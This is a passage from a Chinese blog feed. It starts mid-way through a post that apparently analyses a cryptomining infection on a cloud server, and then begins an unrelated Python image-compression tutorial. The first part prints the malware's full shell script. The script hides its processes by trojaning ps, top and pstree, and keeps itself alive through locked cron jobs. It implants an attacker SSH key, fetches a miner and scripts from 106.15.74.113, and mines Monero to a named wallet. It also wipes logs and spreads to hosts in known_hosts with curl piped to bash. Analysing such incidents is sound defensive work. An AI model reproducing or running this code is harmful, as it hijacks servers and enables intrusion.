class="variable">$1</span>`</span><br><span class="line">        <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$http_code</span>&quot;</span> -eq <span class="string">&quot;200&quot;</span> ]</span><br><span class="line">        <span class="keyword">then</span></span><br><span class="line">            cd1 --connect-timeout 100 --retry 100 <span class="variable">$1</span> &gt; <span class="variable">$2</span></span><br><span class="line">        <span class="keyword">elif</span> [ <span class="string">&quot;<span class="variable">$http_code</span>&quot;</span> -eq <span class="string">&quot;405&quot;</span> ]</span><br><span class="line">        <span class="keyword">then</span></span><br><span class="line">            cd1 --connect-timeout 100 --retry 100 <span class="variable">$1</span> &gt; <span class="variable">$2</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            cd1 --connect-timeout 100 --retry 100 <span class="variable">$3</span> &gt; <span class="variable">$2</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">elif</span> [ -f <span class="string">&quot;/usr/bin/wget&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span></span><br><span class="line">        wget --timeout=50 --tries=100 -O <span class="variable">$2</span> <span class="variable">$1</span></span><br><span class="line">        <span class="keyword">if</span> [ $? -ne 0 ]</span><br><span class="line">        <span class="keyword">then</span></span><br><span class="line">                wget --timeout=100 --tries=100 -O <span class="variable">$2</span> <span class="variable">$3</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">elif</span> [ -f <span class="string">&quot;/usr/bin/wd1&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span></span><br><span class="line">        wd1 --timeout=100 --tries=100 -O <span class="variable">$2</span> <span class="variable">$1</span></span><br><span class="line">        <span class="keyword">if</span> [ $? -eq 0 ]</span><br><span class="line">        <span class="keyword">then</span></span><br><span class="line">            wd1 --timeout=100 --tries=100 -O <span class="variable">$2</span> <span class="variable">$3</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">kill_miner_proc</span><br><span class="line">kill_sus_proc</span><br><span class="line"></span><br><span class="line">unlock_cron()</span><br><span class="line">&#123;</span><br><span class="line">    chattr -R -ia /var/spool/cron</span><br><span class="line">    chattr -ia /etc/crontab</span><br><span class="line">    chattr -R -ia /var/spool/cron/crontabs</span><br><span class="line">    chattr -R -ia /etc/cron.d</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">lock_cron()</span><br><span class="line">&#123;</span><br><span class="line">    chattr -R +ia /var/spool/cron</span><br><span class="line">    chattr +ia /etc/crontab</span><br><span class="line">    chattr -R +ia /var/spool/cron/crontabs</span><br><span class="line">    chattr -R +ia /etc/cron.d</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$rtdir</span>&quot;</span> ]</span><br><span class="line"><span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;i am root&quot;</span></span><br><span class="line">        mkdir -p /root/.ssh</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;goto 1&quot;</span> &gt;&gt; /etc/zzhs</span><br><span class="line">        chattr -ia /etc/zzh*</span><br><span class="line">        chattr -ia /etc/newinit.sh*</span><br><span class="line">        chattr -ia /root/.ssh/authorized_keys*</span><br><span class="line">        chattr -R -ia /root/.ssh</span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;/bin/ps.original&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;/bin/ps changed&quot;</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        mv /bin/ps /bin/ps.original</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;#! /bin/bash&quot;</span>&gt;&gt;/bin/ps</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;ps.original \$@ | grep -v \&quot;zzh\|pnscan\&quot;&quot;</span>&gt;&gt;/bin/ps</span><br><span class="line">        chmod +x /bin/ps</span><br><span class="line">                touch -d 20160825 /bin/ps</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;/bin/ps changing&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;/bin/top.original&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;/bin/top changed&quot;</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        mv /bin/top /bin/top.original</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;#! /bin/bash&quot;</span>&gt;&gt;/bin/top</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;top.original \$@ | grep -v \&quot;zzh\|pnscan\&quot;&quot;</span>&gt;&gt;/bin/top</span><br><span class="line">        chmod +x /bin/top</span><br><span class="line">                touch -d 20160825 /bin/top</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;/bin/top changing&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;/bin/pstree.original&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;/bin/pstree changed&quot;</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        mv /bin/pstree /bin/pstree.original</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;#! /bin/bash&quot;</span>&gt;&gt;/bin/pstree</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;pstree.original \$@ | grep -v \&quot;zzh\|pnscan\&quot;&quot;</span>&gt;&gt;/bin/pstree</span><br><span class="line">        chmod +x /bin/pstree</span><br><span class="line">                touch -d 20160825 /bin/pstree</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;/bin/pstree changing&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;/bin/chattr&quot;</span> ]</span><br><span class="line">        <span class="keyword">then</span></span><br><span class="line">                chattrsize=`ls -l /bin/chattr | awk <span class="string">&#x27;&#123; print $5 &#125;&#x27;</span>`</span><br><span class="line">                <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$chattrsize</span>&quot;</span> -lt <span class="string">&quot;<span class="variable">$chattr_size</span>&quot;</span> ]</span><br><span class="line">                <span class="keyword">then</span></span><br><span class="line">            yum -y remove e2fsprogs</span><br><span class="line">            yum -y install e2fsprogs</span><br><span class="line">                <span class="keyword">else</span></span><br><span class="line">                        <span class="built_in">echo</span> <span class="string">&quot;no need install chattr&quot;</span></span><br><span class="line">                <span class="keyword">fi</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            yum -y remove e2fsprogs</span><br><span class="line">            yum -y install e2fsprogs</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">                        unlock_cron</span><br><span class="line">                        rm -f <span class="variable">$&#123;crondir&#125;</span></span><br><span class="line">                        rm -f /etc/cron.d/zzh</span><br><span class="line">                        rm -f /etc/crontab</span><br><span class="line">                        <span class="built_in">echo</span> <span class="string">&quot;*/30 * * * * sh /etc/newinit.sh &gt;/dev/null 2&gt;&amp;1&quot;</span> &gt;&gt; <span class="variable">$&#123;crondir&#125;</span></span><br><span class="line">                        <span class="built_in">echo</span> <span class="string">&quot;*/40 * * * * root sh /etc/newinit.sh &gt;/dev/null 2&gt;&amp;1&quot;</span> &gt;&gt; /etc/cron.d/zzh</span><br><span class="line">                        <span class="built_in">echo</span> <span class="string">&quot;0 1 * * * root sh /etc/newinit.sh &gt;/dev/null 2&gt;&amp;1&quot;</span> &gt;&gt; /etc/crontab</span><br><span class="line">                        <span class="built_in">echo</span> crontab created</span><br><span class="line">                        lock_cron</span><br><span class="line">        chmod 700 /root/.ssh/</span><br><span class="line">        <span class="built_in">echo</span> &gt;&gt; /root/.ssh/authorized_keys</span><br><span class="line">        chmod 600 /root/.ssh/authorized_keys</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver&quot;</span> &gt; /root/.ssh/authorized_keys</span><br><span class="line">        cd1 http://106.15.74.113/b2f628/call.txt</span><br><span class="line">        wget -q -O- http://106.15.74.113/b2f628/call.txt</span><br><span class="line">        cd1 http://106.15.74.113/b2f628/call.txt</span><br><span class="line">        wget -q -O- http://106.15.74.113/b2f628/call.txt</span><br><span class="line">        </span><br><span class="line"></span><br><span class="line">        file=<span class="string">&quot;/etc/zzh&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;/etc/zzh&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span></span><br><span class="line">            filesize1=`ls -l /etc/zzh | awk <span class="string">&#x27;&#123; print $5 &#125;&#x27;</span>`</span><br><span class="line">            <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$filesize1</span>&quot;</span> -ne <span class="string">&quot;<span class="variable">$miner_size</span>&quot;</span> ] </span><br><span class="line">            <span class="keyword">then</span></span><br><span class="line">                pkill -f zzh</span><br><span class="line">                rm /etc/zzh</span><br><span class="line">                downloads <span class="variable">$miner_url</span> /etc/zzh <span class="variable">$miner_url_backup</span></span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">                <span class="built_in">echo</span> <span class="string">&quot;not need download&quot;</span></span><br><span class="line">            <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">            downloads <span class="variable">$miner_url</span> /etc/zzh <span class="variable">$miner_url_backup</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    downloads <span class="variable">$sh_url</span> /etc/newinit.sh <span class="variable">$sh_url_backup</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    chmod 777 /etc/zzh</span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;/bin/ps.original&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span></span><br><span class="line">        ps.original -fe|grep zzh |grep -v grep</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        ps -fe|grep zzh |grep -v grep</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">if</span> [ $? -ne 0 ]</span><br><span class="line">    <span class="keyword">then</span></span><br><span class="line">                <span class="built_in">cd</span> /etc</span><br><span class="line">                <span class="built_in">echo</span> <span class="string">&quot;not root runing&quot;</span></span><br><span class="line">                sleep 5s</span><br><span class="line">                cpunum=`cat /proc/cpuinfo |grep -i model|grep name|wc -l`</span><br><span class="line"><span class="keyword">if</span>  ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=2 )); <span class="keyword">then</span></span><br><span class="line">      cpunum=1</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=4)); <span class="keyword">then</span></span><br><span class="line">      cpunum=2</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=8)); <span class="keyword">then</span></span><br><span class="line">      cpunum=4</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=16)); <span class="keyword">then</span></span><br><span class="line">      cpunum=8</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=32)); <span class="keyword">then</span></span><br><span class="line">      cpunum=16</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=64)); <span class="keyword">then</span></span><br><span class="line">      cpunum=32</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&gt;64)); <span class="keyword">then</span></span><br><span class="line">      cpunum=50</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">      cpunum=1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line">                ./zzh -B --log-file=/etc/etc --coin=monero -o stratum+tcp://xmr-asia1.nanopool.org:14444 --threads=<span class="variable">$cpunum</span> -u 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz.3910 -p x &amp;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">                <span class="built_in">echo</span> <span class="string">&quot;root runing.....&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">    chmod 777 /etc/zzh</span><br><span class="line">    chattr +ia /etc/zzh</span><br><span class="line">    chmod 777 /etc/newinit.sh</span><br><span class="line">    chattr +ia /etc/newinit.sh</span><br><span class="line">    chmod 600 /root/.ssh/authorized_keys</span><br><span class="line">    chattr +ia /root/.ssh/authorized_keys</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;goto 1&quot;</span> &gt; /tmp/zzhs</span><br><span class="line">    chattr -ia /tmp/zzh*</span><br><span class="line">    chattr -ia /tmp/newinit.sh*</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">if</span> [ ! -f <span class="string">&quot;/usr/bin/crontab&quot;</span> ]</span><br><span class="line">        <span class="keyword">then</span></span><br><span class="line">                        unlock_cron</span><br><span class="line">                        <span class="built_in">echo</span> <span class="string">&quot;*/30 * * * * sh /tmp/newinit.sh &gt;/dev/null 2&gt;&amp;1&quot;</span> &gt;&gt; <span class="variable">$&#123;crondir&#125;</span></span><br><span class="line">                        lock_cron</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">                        unlock_cron</span><br><span class="line">                        [[ <span class="variable">$cont</span> =~ <span class="string">&quot;newinit.sh&quot;</span> ]] || (crontab -l ; <span class="built_in">echo</span> <span class="string">&quot;*/30 * * * * sh /tmp/newinit.sh &gt;/dev/null 2&gt;&amp;1&quot;</span>) | crontab -</span><br><span class="line">                        lock_cron</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;/tmp/zzh&quot;</span> ]</span><br><span class="line">    <span class="keyword">then</span>    </span><br><span class="line">        filesize1=`ls -l /tmp/zzh | awk <span class="string">&#x27;&#123; print $5 &#125;&#x27;</span>`</span><br><span class="line">        <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$filesize1</span>&quot;</span> -ne <span class="string">&quot;<span class="variable">$miner_size</span>&quot;</span> ] </span><br><span class="line">        <span class="keyword">then</span></span><br><span class="line">                pkill -f zzh</span><br><span class="line">                rm /tmp/zzh</span><br><span class="line">                downloads <span class="variable">$miner_url</span> /tmp/zzh <span class="variable">$miner_url_backup</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">                <span class="built_in">echo</span> <span class="string">&quot;no need download&quot;</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">            downloads <span class="variable">$miner_url</span> /tmp/zzh <span class="variable">$miner_url_backup</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;i am here&quot;</span></span><br><span class="line">    downloads <span class="variable">$sh_url</span> /tmp/newinit.sh <span class="variable">$sh_url_backup</span></span><br><span class="line"></span><br><span class="line">    ps -fe|grep zzh |grep -v grep</span><br><span class="line">        <span class="keyword">if</span> [ $? -ne 0 ]</span><br><span class="line">            <span class="keyword">then</span></span><br><span class="line">                <span class="built_in">echo</span> <span class="string">&quot;not tmp runing&quot;</span></span><br><span class="line">                <span class="built_in">cd</span> /tmp</span><br><span class="line">                chmod 777 zzh</span><br><span class="line">                sleep 5s</span><br><span class="line">                cpunum=`cat /proc/cpuinfo |grep -i model|grep name|wc -l`</span><br><span class="line"><span class="keyword">if</span>  ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=2 )); <span class="keyword">then</span></span><br><span class="line">      cpunum=1</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=4)); <span class="keyword">then</span></span><br><span class="line">      cpunum=2</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=8)); <span class="keyword">then</span></span><br><span class="line">      cpunum=4</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=16)); <span class="keyword">then</span></span><br><span class="line">      cpunum=8</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=32)); <span class="keyword">then</span></span><br><span class="line">      cpunum=16</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&lt;=64)); <span class="keyword">then</span></span><br><span class="line">      cpunum=32</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">elif</span> ((<span class="string">&quot;<span class="variable">$cpunum</span>&quot;</span>&gt;64)); <span class="keyword">then</span></span><br><span class="line">      cpunum=50</span><br><span class="line">      <span class="built_in">echo</span> <span class="variable">$cpunum</span></span><br><span class="line"><span class="keyword">else</span> </span><br><span class="line">      <span class="built_in">echo</span> other   </span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line">                ./zzh -B --log-file=/etc/etc --coin=monero -o stratum+tcp://xmr-asia1.nanopool.org:14444 --threads=<span class="variable">$cpunum</span> -u 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz.3910 -p x &amp;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">                <span class="built_in">echo</span> <span class="string">&quot;tmp runing.....&quot;</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">    chmod 777 /tmp/zzh</span><br><span class="line">    chattr +i /tmp/zzh</span><br><span class="line">    chmod 777 /tmp/newinit.sh</span><br><span class="line">    chattr +i /tmp/newinit.sh</span><br><span class="line">        </span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">iptables -F</span><br><span class="line">iptables -X</span><br><span class="line">iptables -A OUTPUT -p tcp --dport 5555 -j DROP</span><br><span class="line">iptables -A OUTPUT -p tcp --dport 7777 -j DROP</span><br><span class="line">iptables -A OUTPUT -p tcp --dport 9999 -j DROP</span><br><span class="line">iptables -A OUTPUT -p tcp --dport 9999 -j DROP</span><br><span class="line">service iptables reload</span><br><span class="line">ps auxf|grep -v grep|grep -v 43Xbgtym2GZWBk87XiYbCpTKGPBTxY|grep <span class="string">&quot;stratum&quot;</span>|awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span>|xargs <span class="built_in">kill</span> -9</span><br><span class="line"><span class="built_in">history</span> -c</span><br><span class="line"><span class="built_in">echo</span> &gt; /var/spool/mail/root</span><br><span class="line"><span class="built_in">echo</span> &gt; /var/<span class="built_in">log</span>/wtmp</span><br><span class="line"><span class="built_in">echo</span> &gt; /var/<span class="built_in">log</span>/secure</span><br><span class="line"><span class="built_in">echo</span> &gt; /root/.bash_history</span><br><span class="line"></span><br><span class="line">yum install -y bash 2&gt;/dev/null</span><br><span class="line">apt install -y bash 2&gt;/dev/null</span><br><span class="line">apt-get install -y bash 2&gt;/dev/null</span><br><span class="line"><span class="keyword">if</span> [ -f /root/.ssh/known_hosts ] &amp;&amp; [ -f /root/.ssh/id_rsa.pub ]; <span class="keyword">then</span></span><br><span class="line">  <span class="keyword">for</span> h <span class="keyword">in</span> $(grep -oE <span class="string">&quot;\b([0-9]&#123;1,3&#125;\.)&#123;3&#125;[0-9]&#123;1,3&#125;\b&quot;</span> /root/.ssh/known_hosts); <span class="keyword">do</span> ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no <span class="variable">$h</span> <span class="string">&#x27;curl -o-  http://106.15.74.113/b2f628fff19fda999999999/is.sh | bash &gt;/dev/null 2&gt;&amp;1 &amp;&#x27;</span> &amp; <span class="keyword">done</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="keyword">if</span> [ -f /root/.ssh/known_hosts ] &amp;&amp; [ -f /root/.ssh/id_rsa.pub ]; <span class="keyword">then</span></span><br><span class="line">  <span class="keyword">for</span> h <span class="keyword">in</span> $(grep -oE <span class="string">&quot;\b([0-9]&#123;1,3&#125;\.)&#123;3&#125;[0-9]&#123;1,3&#125;\b&quot;</span> /root/.ssh/known_hosts); <span class="keyword">do</span> ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no <span class="variable">$h</span> <span class="string">&#x27;cd1 -o-  http://106.15.74.113/b2f628fff19fda999999999/is.sh | bash &gt;/dev/null 2&gt;&amp;1 &amp;&#x27;</span> &amp; <span class="keyword">done</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$bbdir</span>&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$bbdira</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$bbdir</span> -fsSL http://106.15.74.113/b2f628fff19fda999999999/is.sh | bash</span><br><span class="line"><span class="variable">$bbdira</span> -fsSL http://106.15.74.113/b2f628fff19fda999999999/is.sh | bash</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;今天上午，突然发现ECS上的一些服务无法访问，而能访问的，请求响应也很慢，回想了一下，好像也没跑什么能使内存或cpu暴涨的程序啊。&lt;br&gt;于</summary>
      
    
    
    
    <category term="linux" scheme="https://32e.co/categories/linux/"/>
    
    
    <category term="挖矿攻击" scheme="https://32e.co/tags/%E6%8C%96%E7%9F%BF%E6%94%BB%E5%87%BB/"/>
    
  </entry>
  
  <entry>
    <title>python-使用PIL批量压缩图片</title>
    <link href="https://32e.co/2021/01/09/py-image-compres/"/>
    <id>https://32e.co/2021/01/09/py-image-compres/</id>
    <published>2021-01-09T05:33:25.000Z</published>
    <updated>2022-05-10T06:29:14.096Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;今天迁移文件，需要对大量的图片进行压缩，用PS一张一张的处理效率特别低，而网上的在线工具批量处理几乎都是收费的，所以干脆用python脚本来处理，一劳永逸，以后也方便自己使用。</p><h4 id="安装PIL图像处理库"><a href="#安装PIL图像处理库" class="headerlink" title="安装PIL图像处理库"></a>安装PIL图像处理库</h4><p><code>PIL</code>是一个<code>Python</code>图像处理库，<code>Pillow</code>是<code>PIL</code>的一个很友好的分支，所以，我们可以通过安装<code>Pillow</code>来使用<code>PIL</code>。文档：<a href="https://pillow-cn.readthedocs.io/zh_CN/latest/index.html">pillow官网</a></p><p>我使用的是mac电脑，以下命令在mac上执行。</p><p>1，安装pip工具，如果已经安装，跳过</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo easy_install pip</span><br></pre></td></tr></table></figure><p>2，安装Pillow，借助pip工具安装起来也很简单</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install Pillow</span><br></pre></td></tr></table></figure><h4 id="压缩代码示例"><a href="#压缩代码示例" class="headerlink" title="压缩代码示例"></a>压缩代码示例</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment">#!coding=utf-8</span></span><br><span class="line"><span class="comment">#author=guolin</span></span><br><span class="line"><span class="comment">#依赖：pip install Pillow</span></span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> tkinter <span class="keyword">as</span> tk</span><br><span class="line"><span class="keyword">from</span> tkinter <span class="keyword">import</span> filedialog</span><br><span class="line"></span><br><span class="line"><span class="comment"># 尺寸比例</span></span><br><span class="line">size_ratio = <span class="number">0.7</span></span><br><span class="line"><span class="comment"># 压缩质量</span></span><br><span class="line">quality = <span class="number">70</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 遍历文件夹压缩</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">batch_compress</span>(<span class="params">srcPath, distPath</span>):</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 遍历文件夹</span></span><br><span class="line">    <span class="keyword">for</span> filename <span class="keyword">in</span> os.listdir(srcPath):</span><br><span class="line">        <span class="comment"># 目录验证</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(distPath):</span><br><span class="line">            os.makedirs(distPath)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 拼接完整的文件或文件夹路径</span></span><br><span class="line">        srcFile = os.path.join(srcPath, filename)</span><br><span class="line">        distFile = os.path.join(distPath, filename)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 如果是文件 就调用压缩</span></span><br><span class="line">        <span class="keyword">if</span> os.path.isfile(srcFile):</span><br><span class="line">            <span class="keyword">if</span>(is_image(srcFile)):</span><br><span class="line">                <span class="comment"># 执行压缩操作</span></span><br><span class="line">                compression(srcFile,distFile)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span> (distFile + <span class="string">&quot; 文件不是图片，跳过！&quot;</span>)</span><br><span class="line">        <span class="comment"># 如果是文件夹 就继续递归</span></span><br><span class="line">        <span class="keyword">elif</span> os.path.isdir(srcFile):</span><br><span class="line">            batch_compress(srcFile, distFile)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 文件是否为图片判断</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">is_image</span>(<span class="params">srcFile</span>):</span></span><br><span class="line">    <span class="keyword">if</span> 